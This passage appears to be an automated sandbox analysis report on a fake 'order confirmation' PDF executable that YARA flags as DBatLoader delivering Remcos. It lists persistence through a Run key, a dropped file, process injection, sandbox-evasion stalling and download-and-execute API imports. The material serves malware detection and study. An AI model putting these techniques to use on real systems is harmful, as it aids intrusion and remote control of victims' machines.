,??8std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,CloseHandle,??8std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??4?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,?find@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIPBGI@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,wcslen,?replace@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@IIPBG@Z,??8std@@YA_NPBGABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,CreateMutexA,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,CloseHandle,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,

Source: C:\Windows\SysWOW64\logagent.exe

Mutant created: \Sessions\1\BaseNamedObjects\Remcos-MZPAVR

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00409D02 FindResourceA,LoadResource,LockResource,SizeofResource,

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\logagent.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\logagent.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, type: SAMPLE
Source: Yara match	File source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Eluiezilfw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.Eluiezilfw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.Eluiezilfw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.Eluiezilfw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.344209783.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.347399894.0000000003760000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.360030568.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.346405704.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.315120211.0000000003610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.306973875.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.326994994.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.316837700.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.349121751.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.309996740.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.317153227.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.312930120.0000000003050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.361029837.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.360948526.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.358808877.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.349277729.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.360296603.0000000003760000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.259960102.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\Public\Libraries\Eluiezilfw.exe, type: DROPPED

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_036E5FFF push 090D2120h; retf
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_036E5F96 push 090D2120h; retf
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_036E5E3E push 090D2120h; retf
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_036E580B push ebp; iretd
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_036E581C push ebp; iretd
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_036E54D6 push ebp; iretd
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Code function: 0_3_038D2098 push edx; ret
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0041BE7A push cs; ret
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00413ED0 push eax; ret
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0041B326 push cs; ret
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_1055585F push eax; ret
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10541040 push ss; retf
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_1055E44C push es; retf

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00409908 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

File created: C:\Users\Public\Libraries\Eluiezilfw.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_0040D4E5 ??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,URLDownloadToFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,ShellExecuteW,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,free,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00411700 OpenSCManagerW,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Eluiezilfw			Jump to behavior
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Eluiezilfw			Jump to behavior

Source: C:\Windows\SysWOW64\logagent.exe

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\logagent.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Windows\SysWOW64\logagent.exe

Stalling execution: Execution stalls by calling Sleep

Source: C:\Windows\SysWOW64\logagent.exe

Code function: OpenSCManagerA,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV?$allocator@G@1@@Z,EnumServicesStatusW,EnumServicesStatusW,GetLastError,malloc,EnumServicesStatusW,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBGABV10@@Z,??Y?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBGABV10@@Z,??Y?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??Y?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,OpenServiceW,QueryServiceConfigW,GetLastError,malloc,QueryServiceConfigW,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??Y?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??Y?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBGABV10@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??Y?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,free,CloseServiceHandle,free,CloseServiceHandle,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,

Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00405156 GetKeyboardLayout followed by cmp: cmp ax, cx and CTI: je 0040517Bh
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00405156 GetKeyboardLayout followed by cmp: cmp ax, dx and CTI: jne 0040517Bh
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10546AE5 GetKeyboardLayout followed by cmp: cmp ax, cx and CTI: je 10546B0Ah
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10546AE5 GetKeyboardLayout followed by cmp: cmp ax, dx and CTI: jne 10546B0Ah

Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00404C0A wcscmp,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,tolower,tolower,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindNextFileW,wcscmp,wcscmp,wcscmp,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@G@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,tolower,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?find@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIABV12@I@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0040751B Sleep,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,getenv,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,FindFirstFileA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindClose,FindNextFileA,FindNextFileA,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,FindClose,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00410586 ?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?substr@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV12@II@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ,?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@